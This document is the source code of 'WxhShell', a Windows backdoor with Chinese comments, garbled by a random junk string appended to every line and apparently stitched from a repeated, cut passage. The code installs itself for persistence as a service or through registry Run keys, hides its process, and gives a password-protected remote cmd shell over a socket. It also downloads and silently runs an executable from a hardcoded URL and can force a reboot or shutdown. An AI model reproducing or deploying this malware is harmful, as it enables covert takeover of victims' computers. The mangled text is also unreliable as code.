    else { K+eM   
    closesocket(wsh); js(pC@<q5  
    ExitThread(0); .('SW\u-  
    } Z@HEj_n  
    break; us-L]S+lm  
    } B#A6v0Ta  
  // 获取shell X ?O[r3<  
  case 's': { K;?+8(H  
    CmdShell(wsh); H_a[)DT  
    closesocket(wsh); zhQJy?>'m  
    ExitThread(0); 7!1S)dup  
    break; 3] Ct6  
  } (PL UFT  
  // 退出 ?<!|  
  case 'x': { oH@78D0A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nn6%9PX_)  
    CloseIt(wsh); kiEa<-]  
    break; {7[Ox<Ho  
    } N2G{<>=  
  // 离开 $'vU2L  
  case 'q': { F9PxSk_\9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {}9a6.V;}  
    closesocket(wsh); 3";q[&F9y  
    WSACleanup(); MgZ/(X E  
    exit(1); 4#D,?eA7  
    break; dtDFoETz  
        } /ZX }Nc g  
  } 6ujW Nf  
  } m67V_s,7B  
10&8-p1/mc  
  // 提示信息 [^iN}Lz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hrk r'3lv  
} wYea\^co  
  }  mh%VrA q  
z{q`GwW  
  return; ).O)p9  
} KNl$3nX  
inL(X;@yo  
// shell模块句柄 ~%oR[B7=|  
int CmdShell(SOCKET sock) Eci\a]  
{ P55fL-vo|}  
STARTUPINFO si; }>\C{ClI  
ZeroMemory(&si,sizeof(si)); kh<2BOV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3]hWfj1m2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :FF=a3/"6  
PROCESS_INFORMATION ProcessInfo; ?6!LL5a.  
char cmdline[]="cmd"; P}iE+Z 3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8ag!K*\ V<  
  return 0; T{ "(\X$  
} 6]N.%Y[(  
kZ~~/?B  
// 自身启动模式 9r9NxKuAO  
int StartFromService(void) Z+SRXKQ  
{ / {%%"j  
typedef struct y =@N|f!  
{ ZSw.U:ep$s  
  DWORD ExitStatus; 6)J#OKZ  
  DWORD PebBaseAddress; st*gs-8jJ;  
  DWORD AffinityMask; /v}`l  
  DWORD BasePriority; *8q.YuZ  
  ULONG UniqueProcessId; +ZYn? #IQ  
  ULONG InheritedFromUniqueProcessId; !D6]JPX  
}   PROCESS_BASIC_INFORMATION; qs6aB0ln  
3|7QU ld  
PROCNTQSIP NtQueryInformationProcess; %<5'=t'|-U  
|Tw~@kT@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AA_%<zK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kAx4fE[c  
\e_O4  
  HANDLE             hProcess; M|-)GvR$J  
  PROCESS_BASIC_INFORMATION pbi; ICCc./l|  
M5B# TAybC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zs;JJk^  
  if(NULL == hInst ) return 0; a*;b^Ze`v  
(H]AR8%W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /reX{Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u2I Cl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BUFv|z+H  
=a!=2VN9y  
  if (!NtQueryInformationProcess) return 0; & kIFcd@  
:&Nbw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p_ =z#  
  if(!hProcess) return 0; G3]4A&h9v~  
E7hhew  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zDp2g)  
Z)!C'cb  
  CloseHandle(hProcess); J4utIGF  
\v{=gK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4Hg9N}  
if(hProcess==NULL) return 0; kza5ab  
V]&\fk-{  
HMODULE hMod; R]dg_Da  
char procName[255]; ^aQ"E9  
unsigned long cbNeeded; g}i61(  
]_Xlq_[/r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zi:BF60]=  
0V]s:S  
  CloseHandle(hProcess); l%ZhA=TKQ  
J1kM\8%b\  
if(strstr(procName,"services")) return 1; // 以服务启动 IID5c" oR  
)Z$!PqRw@u  
  return 0; // 注册表启动  -M2yw  
} Ymgw-NJ;(  
iE{&*.q_}>  
// 主模块 ,Q,^3*HX9}  
int StartWxhshell(LPSTR lpCmdLine) Q?T]MUY(L  
{ VpUAeWb  
  SOCKET wsl; h![#;>(  
BOOL val=TRUE; f?b"iA(6  
  int port=0; P2!C|SLK  
  struct sockaddr_in door; zX~MC?,W1  
l,: F  
  if(wscfg.ws_autoins) Install(); Q&&@v4L   
JRFtsio*  
port=atoi(lpCmdLine); +V+a4lU14  
/=h` L ,  
if(port<=0) port=wscfg.ws_port; p'fYULYE  
{$r[5%L\H  
  WSADATA data; 5IN(|B0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r>\bW)e  
'|4!5)/K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2tLJU  Z1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eQ"E   
  door.sin_family = AF_INET; h~26WLf.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N7_"H>O$0U  
  door.sin_port = htons(port); /bEAK-  
G:JR7N$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k8Xm n6X  
closesocket(wsl); 1cGmg1U;  
return 1; :LTN!jj  
} nm+s{  
G`zm@QL  
  if(listen(wsl,2) == INVALID_SOCKET) { .2pK.$.  
closesocket(wsl); 2%> FR4a  
return 1; j9,P/K$:w  
} K#xv u1U  
  Wxhshell(wsl); 6#yUc_5 \  
  WSACleanup(); j4b4!^fV  
AEuG v}#  
return 0; Y~Ifj,\  
IAEAhqp  
} nie%eC&U  
Wf<LR3  
// 以NT服务方式启动 fLVAKn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^GX)Z~  
{ DN/YHSYK  
DWORD   status = 0; a> )f=uS  
  DWORD   specificError = 0xfffffff; w:l"\Tm  
W`&hp6Jq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L(o15  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e*!kZAf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V,9cl,z+  
  serviceStatus.dwWin32ExitCode     = 0; 3[&Cg  
  serviceStatus.dwServiceSpecificExitCode = 0; .G^YqJ 4  
  serviceStatus.dwCheckPoint       = 0; h1{3njdr  
  serviceStatus.dwWaitHint       = 0; ~v83pu1!2s  
5?L<N:;J_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KU;9}!#  
  if (hServiceStatusHandle==0) return; d1kJRJ   
iCyf Oh  
status = GetLastError(); X@f}Q`{Ymj  
  if (status!=NO_ERROR) 2[CdZ(k]5  
{ iO[<1?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Il.K"ll  
    serviceStatus.dwCheckPoint       = 0; >f'g0g  
    serviceStatus.dwWaitHint       = 0; &/b~k3{M_  
    serviceStatus.dwWin32ExitCode     = status; tjnIN?YT  
    serviceStatus.dwServiceSpecificExitCode = specificError; 80;(Gt@<"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }`"6aM   
    return; X?$_Sd"G+5  
  } <t,x RBk  
ZB&6<uw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ETLD$=iS  
  serviceStatus.dwCheckPoint       = 0; o Rzi>rr  
  serviceStatus.dwWaitHint       = 0; oE~Bq/p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5-G@L?~Vw  
} D6^6}1WI  
H|D.6^  
// 处理NT服务事件,比如:启动、停止 D-4f.Tq4#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JLi|Td "1%  
{ ty`DJO=Omj  
switch(fdwControl) CP{cAzHO  
{ @I*{f  
case SERVICE_CONTROL_STOP: NCx%L-GPi  
  serviceStatus.dwWin32ExitCode = 0; ASfaX:ke  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]~nKK@Rw  
  serviceStatus.dwCheckPoint   = 0; :aQt;C6Z>  
  serviceStatus.dwWaitHint     = 0; m6djeOl  
  { Wm3X[?V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9,tej  
  } "nWw;-V}}  
  return; BUR*n;V`  
case SERVICE_CONTROL_PAUSE: -gWZwW/lD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~,~eoW7  
  break; Lk$B{2^n  
case SERVICE_CONTROL_CONTINUE: ;\l,5EG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 63A.@mL  
  break; j)GtEP<n#  
case SERVICE_CONTROL_INTERROGATE: `g})|Gx  
  break; V!dtF,tH  
}; 2|bn(QYz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ##o#eZq:"  
} -GgA&dh  
3t6 LT  
// 标准应用程序主函数 @]#1(9P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ym6K !i]q4  
{ @<Yy{ ~L|  
.}`Ix'.  
// 获取操作系统版本 l0hlM#  
OsIsNt=GetOsVer(); U3:j'Su4H?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e*n@j  
;Q&5,< N)j  
  // 从命令行安装 s!e3|pGS  
  if(strpbrk(lpCmdLine,"iI")) Install(); }#E[vRf  
rc>6.sM %  
  // 下载执行文件 zA"`!}*  
if(wscfg.ws_downexe) { _Y[bMuUb=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (%:c#;#  
  WinExec(wscfg.ws_filenam,SW_HIDE); TNr :pE<  
} zkdetrR  
'XBFv9&  
if(!OsIsNt) { t!\tF[9e  
// 如果时win9x,隐藏进程并且设置为注册表启动 f f1c/c/  
HideProc(); P A OJ\U  
StartWxhshell(lpCmdLine); zZC9\V}R  
} .K<Q&  
else o\)F}j&b#=  
  if(StartFromService()) B !=F2  
  // 以服务方式启动 FjI`uP  
  StartServiceCtrlDispatcher(DispatchTable); u4|$bbig  
else A$xF$l  
  // 普通方式启动 lo!+f"7ym\  
  StartWxhshell(lpCmdLine); '-/xyAzS  
ApXy=?fc  
return 0; G<^{&E+=  
} rI-%be==  
qc~iQSI  
az|N-?u  
Km6YP!i  
===========================================  y%b F&  
S +^E.  
^4Ah_ U  
f &wb  
y[_Q-   
">j j  
" 1,!(0 5H  
[o5Hl^  
#include <stdio.h> fku<,SV$O4  
#include <string.h> df#$ 9 -  
#include <windows.h> 1!T1Y,w  
#include <winsock2.h> @\P;W(m.i  
#include <winsvc.h> @)&=%  
#include <urlmon.h> ;<2 G  
X~,aNRy  
#pragma comment (lib, "Ws2_32.lib") >:!X.TG$  
#pragma comment (lib, "urlmon.lib") @qlK6tE`  
EeRX+BM,  
#define MAX_USER   100 // 最大客户端连接数 E5lBdM>2  
#define BUF_SOCK   200 // sock buffer )fSOi| |C  
#define KEY_BUFF   255 // 输入 buffer [ $n_6  
i`$*T y"x  
#define REBOOT     0   // 重启 j578)!aJ  
#define SHUTDOWN   1   // 关机 =k0_eX0  
25[I=ZdS  
#define DEF_PORT   5000 // 监听端口 //<nr\oP  
r_6ZO&  
#define REG_LEN     16   // 注册表键长度 qd)/9*|Jl  
#define SVC_LEN     80   // NT服务名长度 hUMf"=q+  
A/KJqiag  
// 从dll定义API pF Rg?-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); doy`C)xI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *P2S6z2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B%76rEpvW;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rt!FPoN,y  
#(JNn'fzq  
// wxhshell配置信息 QY?~ZwYB  
struct WSCFG { g^{@'}$  
  int ws_port;         // 监听端口 L(-b@Joh  
  char ws_passstr[REG_LEN]; // 口令 j<@lX^  
  int ws_autoins;       // 安装标记, 1=yes 0=no /}  WDU  
  char ws_regname[REG_LEN]; // 注册表键名 h+&OQ%e=8  
  char ws_svcname[REG_LEN]; // 服务名 DBD%6o>]K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lP@Ki5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IrhA+)pdse  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;n=.>s*XL'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #32"=MfQn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $5< #n@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $#S&QHyEe  
w6GyBo{2O_  
}; DYxCQ D  
[@b&? b~K  
// default Wxhshell configuration iIa'2+  
struct WSCFG wscfg={DEF_PORT, ve/<=IR Zo  
    "xuhuanlingzhe", _5# y06Q  
    1, Oz`BEyb]{  
    "Wxhshell", e`TH91@  
    "Wxhshell", ,\ k(x>oy  
            "WxhShell Service", (Dl$kGn  
    "Wrsky Windows CmdShell Service", W$OG( m!W>  
    "Please Input Your Password: ", s1NKLt  
  1, FUjl8b-|  
  "http://www.wrsky.com/wxhshell.exe", tEKmy7'#  
  "Wxhshell.exe" G) 7;;  
    }; TbGn46!:  
Dg?70v <a  
// 消息定义模块 JB`\G=PiL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M)N?qRD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }\#Rot>Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TDNQu_E  
char *msg_ws_ext="\n\rExit."; "C SC  
char *msg_ws_end="\n\rQuit."; B$!)YD;  
char *msg_ws_boot="\n\rReboot..."; V'T ,4  
char *msg_ws_poff="\n\rShutdown..."; 7=WT69,&  
char *msg_ws_down="\n\rSave to "; (>GK \=:<  
`[)YEg s  
char *msg_ws_err="\n\rErr!"; %i-c0|,T4  
char *msg_ws_ok="\n\rOK!"; _m'Fr 7  
r{ef.^&:  
char ExeFile[MAX_PATH]; ~ZhraSI) G  
int nUser = 0; 4V==7p x(  
HANDLE handles[MAX_USER]; 6qaQ[XTxf  
int OsIsNt; TAF PawH  
h`k"A7M  
SERVICE_STATUS       serviceStatus; /[)qEl2]K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5sJJGv#6  
H_ox_ u}  
// 函数声明 Nkl_Ho,  
int Install(void); @$c\d vO  
int Uninstall(void); W"'iIh)z `  
int DownloadFile(char *sURL, SOCKET wsh); }J1tdko#  
int Boot(int flag); .CU5}Tv-  
void HideProc(void); mkF"   
int GetOsVer(void); qX   
int Wxhshell(SOCKET wsl); Boz@bl mCB  
void TalkWithClient(void *cs); wl$h4 {L7  
int CmdShell(SOCKET sock); SNE#0L' }  
int StartFromService(void); V8-oYwOR  
int StartWxhshell(LPSTR lpCmdLine); wK-3+&,9  
z3M6V}s4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w1"nffhO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8C~]yd  
MP 2~;T}~  
// 数据结构和表定义 "7V2lu  
SERVICE_TABLE_ENTRY DispatchTable[] = :8+Nid)  
{ 1/-43B  
{wscfg.ws_svcname, NTServiceMain}, yi%-7[*]=  
{NULL, NULL} RYl>  
}; cwWodPNm  
2e9es  
// 自我安装 fKeT~z{~  
int Install(void) q**G(}K  
{ D] ~MC  
  char svExeFile[MAX_PATH]; _DNHc*  
  HKEY key; j;3[KLmuK%  
  strcpy(svExeFile,ExeFile); o1Q7Th  
fasgmi}  
// 如果是win9x系统,修改注册表设为自启动 -'BA{#e}L  
if(!OsIsNt) { $.v5~UGb{\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $K'|0   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EEZw_ 1  
  RegCloseKey(key); Yf~{I-|`q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SD$h@p=!=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eI:C{0p=  
  RegCloseKey(key); xz{IH,?IG  
  return 0; )Ocl=H|=  
    } Gz[fG  
  } -3lb@ 6I6  
} 5 Ho^N1q  
else { ?Ovqp-sw  
$g+[yb7@  
// 如果是NT以上系统,安装为系统服务 5N*Ux4M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eT8}  
if (schSCManager!=0) =xJKIu  
{ G 0;XaL:  
  SC_HANDLE schService = CreateService _}VloiY  
  ( )V:]g\t  
  schSCManager,  n>`as  
  wscfg.ws_svcname, [[Y0  
  wscfg.ws_svcdisp, >P $;79<  
  SERVICE_ALL_ACCESS, -O!Zxg5x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y>|{YWbp?  
  SERVICE_AUTO_START,  \qR %%S  
  SERVICE_ERROR_NORMAL, ADk8{L{UU  
  svExeFile, H0R&2#YD  
  NULL, aKJQm '9Ks  
  NULL, R% ,<\d7  
  NULL, Xy &uZ  
  NULL, V-r3-b  
  NULL <u:WlaS  
  ); M7+h(\H]2  
  if (schService!=0) &o97u4xi  
  { ,qrQ"r9  
  CloseServiceHandle(schService); RxN,^!OV  
  CloseServiceHandle(schSCManager); SdwS= (e6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %8M)2 ?E  
  strcat(svExeFile,wscfg.ws_svcname); Io|Aj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0{PzUIM,W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;h" P{fF   
  RegCloseKey(key); z.VyRBi0  
  return 0; >ap1"n9k  
    } J@ktyd(P  
  } Ze3X$%kWi  
  CloseServiceHandle(schSCManager); WJ9 cZL  
} ^3FE\V/=  
} ;/*6U  
[wB9s{CX  
return 1; ]UG*r%9  
}  g}U3y'  
la?Wnw  
// 自我卸载 t/PlcV_M"  
int Uninstall(void) $4T2z-  
{ p/ >`[I  
  HKEY key; $<|l E/_]  
d{de6 `  
if(!OsIsNt) { )& <=.q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w7n373y%  
  RegDeleteValue(key,wscfg.ws_regname); y tf b$;|  
  RegCloseKey(key); \yGsr Bl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Pu\?Cq  
  RegDeleteValue(key,wscfg.ws_regname); Wt9Q;hK  
  RegCloseKey(key); Q 9&kJ%Mo  
  return 0; 3QOUU,Dt$  
  } a9?y`{%L  
} ?kz+R'  
} ^p/Ob'!  
else { !!nuAQ"E[  
h<\_XJJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *cg( ?yg  
if (schSCManager!=0) S"hTE7`   
{ S$^ RbI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GzTq5uU&  
  if (schService!=0) X*7\lf2  
  { @AYo-gf  
  if(DeleteService(schService)!=0) { =?(~aV  
  CloseServiceHandle(schService); Mf#83 <&K  
  CloseServiceHandle(schSCManager); UYtuED  
  return 0; aRJ>6Q}  
  } ?P7]u>H  
  CloseServiceHandle(schService); <(e8sNe  
  } P0-Fc@&Y  
  CloseServiceHandle(schSCManager); x/ :4 {  
} :ECi+DxBK  
} M8b4NF_&  
@v*/R%rv t  
return 1; 5Fm=/o1  
} |uH%6&\  
Px>va01n  
// 从指定url下载文件 i o3yLIy,  
int DownloadFile(char *sURL, SOCKET wsh) *+b6B_u]  
{ <p?&udqD  
  HRESULT hr;  X}6#II  
char seps[]= "/"; *$M'`vj:  
char *token; V8~jf-\$b  
char *file; Sj(F3wY  
char myURL[MAX_PATH]; STA4 p6  
char myFILE[MAX_PATH]; 2spg?]  
=4 X]gW  
strcpy(myURL,sURL); ^R$'eG 4L?  
  token=strtok(myURL,seps); fXQiNm[P  
  while(token!=NULL) ;*[9Q'lI*  
  { 1SV^){5I  
    file=token; NS,5/t  
  token=strtok(NULL,seps); Z2bcCIq4  
  } i$KpDXP\  
J%]D%2vnk`  
GetCurrentDirectory(MAX_PATH,myFILE); ^5t  
strcat(myFILE, "\\"); 8%~t  
strcat(myFILE, file); 9><mp]E4  
  send(wsh,myFILE,strlen(myFILE),0); Q^Bt1C  
send(wsh,"...",3,0); D["MUB4l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jRpdft  
  if(hr==S_OK) 2~;&g?T6  
return 0; 0%;146.p  
else )Os Lrq/  
return 1; s/1 #DM"  
KIVH!2q;  
} 8S;CFyT\n  
]^\8U2q}  
// 系统电源模块 br,+45:  
int Boot(int flag) 7e&\{*  
{ m$$?icA  
  HANDLE hToken; h.whjiCFa  
  TOKEN_PRIVILEGES tkp; zG c[Z3N  
?&l)W~S  
  if(OsIsNt) { 7nHTlI1 b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g9my=gY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4rU! 4l  
    tkp.PrivilegeCount = 1; +TRy:e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `$z)$VuP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zSjgx_#U  
if(flag==REBOOT) { -&[z\"T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K.SeK3(  
  return 0; y^FOsr  
} _hCJ|Rrln  
else { 8Vt4HD08  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qSO*$1i  
  return 0; []&(D_e"  
} 9F+P@Kp  
  } YbMssd2Yg  
  else { J%dJw}  
if(flag==REBOOT) { ev>oC~>s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {sC=J hs-  
  return 0; fV ZW[9[  
} |Zq\GA  
else { xNN@1P[*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hWcTI{v  
  return 0; i.rU&yT%  
} z4} %TT@^  
} hPufzhT  
D(r:}pyU  
return 1; G"S5ki`o  
} Kv+Bfh  
e4qj .b  
// win9x进程隐藏模块 ibF#$&!  
void HideProc(void) S@:B6](D$  
{ U 0ZB^`  
:LV.G0)#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <Ns &b.\h6  
  if ( hKernel != NULL ) >v0:qN7|  
  { {&nV4c$v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nJVp.*S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {(vOt'  
    FreeLibrary(hKernel); ,{j4  
  } +*t|yKO>[  
TV{)n'aA  
return; t^@T`2jL  
} c#q"\"  
6d{j0?mM  
// 获取操作系统版本 ?TuI:dC  
int GetOsVer(void) !z=pP$81  
{ > x'bZ]gm  
  OSVERSIONINFO winfo; =[(1my7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mTEVFm  
  GetVersionEx(&winfo); =&0U`P$`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U4wpjHg  
  return 1; i;lE5  
  else &jJckT  
  return 0; =FBIrw{w  
} 6f}e+80  
|R'i:=  
// 客户端句柄模块 ]M4NpU M  
int Wxhshell(SOCKET wsl) ~Ob8i1S>  
{ :k1$g+(lP  
  SOCKET wsh; cjg=nTsBA  
  struct sockaddr_in client; dp^N_9$cdO  
  DWORD myID; v"k 4ATWP  
AA7#c7  
  while(nUser<MAX_USER) aii'}c  
{ BQ#jwu0e  
  int nSize=sizeof(client); 98<zCSe\]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C.E[6$oVc  
  if(wsh==INVALID_SOCKET) return 1; oO:LG%q  
yH(V&Tv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %\yK5V5  
if(handles[nUser]==0) #,P(isEZ"  
  closesocket(wsh); B+D`\Nlo  
else fSV5  
  nUser++; n|]N7 b'  
  } !3KPwI,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z^~U]S3  
ALR:MAXwC  
  return 0; .!j#3J..u  
} p}8ratmN  
WTu{,Q  
// 关闭 socket v>^jy8$  
void CloseIt(SOCKET wsh) |+/$ g.  
{ |Qu_E  
closesocket(wsh); `Xqy  
nUser--; l\U*sro<  
ExitThread(0); ;qT5faKB3J  
} `GkRmv*  
M+UMR+K  
// 客户端请求句柄 kh&_#,  
void TalkWithClient(void *cs) e3rfXhp  
{ S&|VkZR)  
td/5Bmj  
  SOCKET wsh=(SOCKET)cs; nCB[4  
  char pwd[SVC_LEN]; 36i_D6  
  char cmd[KEY_BUFF]; ]n1D1  
char chr[1]; y<uE-4  
int i,j; x9\J1\  
J=L`]XE  
  while (nUser < MAX_USER) { GG>Y/;^  
A[RN-R,  
if(wscfg.ws_passstr) { eH `t \n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %o-jwr}O{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 NUenCdc  
  //ZeroMemory(pwd,KEY_BUFF); WFpl1O73  
      i=0; 6)+9G_  
  while(i<SVC_LEN) { &"O_wd[+:  
4I1K vN<A  
  // 设置超时 WnO DDr  
  fd_set FdRead; +cw{aI`a8  
  struct timeval TimeOut; U;>B7X;`E4  
  FD_ZERO(&FdRead); > ";%2 u1  
  FD_SET(wsh,&FdRead); "DzG Bu\  
  TimeOut.tv_sec=8; YRu%j4Tx  
  TimeOut.tv_usec=0; ^~*8 @v""  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H>Sf[8w)%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6DO0zNTY  
Z#LUez;&t#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I`#EhH  
  pwd=chr[0]; K5+!(5V~  
  if(chr[0]==0xd || chr[0]==0xa) { %)dI2 J^Xf  
  pwd=0; -|$*l Q  
  break; e Ri!\Fx  
  } _jk|}IB;X  
  i++; ]t7ClT)n!  
    } o[2Y;kP3*P  
1y(iE C  
  // 如果是非法用户,关闭 socket cnC_#kp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (S3jZ  
} `-5cQ2>"  
s/\XH&KR3V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~"RQ!&U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qY# m*R  
e8 v; D  
while(1) { <xC: Ant  
Fv;u1Atiw  
  ZeroMemory(cmd,KEY_BUFF); i$g|?g~]  
Mf#2.TR  
      // 自动支持客户端 telnet标准   dkf}),Z F  
  j=0; @<VG8{  
  while(j<KEY_BUFF) { ltP   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DwTi_8m;  
  cmd[j]=chr[0]; \v.HG] /u  
  if(chr[0]==0xa || chr[0]==0xd) { _82<| NN:  
  cmd[j]=0; D@2Ya/c  
  break; M44_us  
  } ?TRW"%  
  j++; mMga"I9  
    } MyK^i2eD  
=tLU]  
  // 下载文件 %{=4Fa(Jux  
  if(strstr(cmd,"http://")) { b,z R5R^D;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;;D% l^m+  
  if(DownloadFile(cmd,wsh)) |c]> Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2c!h2$w  
  else Z<w,UvJa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m]E o(P4+  
  } DIL)7K4  
  else { BW+qp3k\  
p.qrf7N$  
    switch(cmd[0]) { 9 J$Y,Z  
  &f$a1#O}dx  
  // 帮助 lF)0aDk'h  
  case '?': { }3bQ>whF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K lPm=  
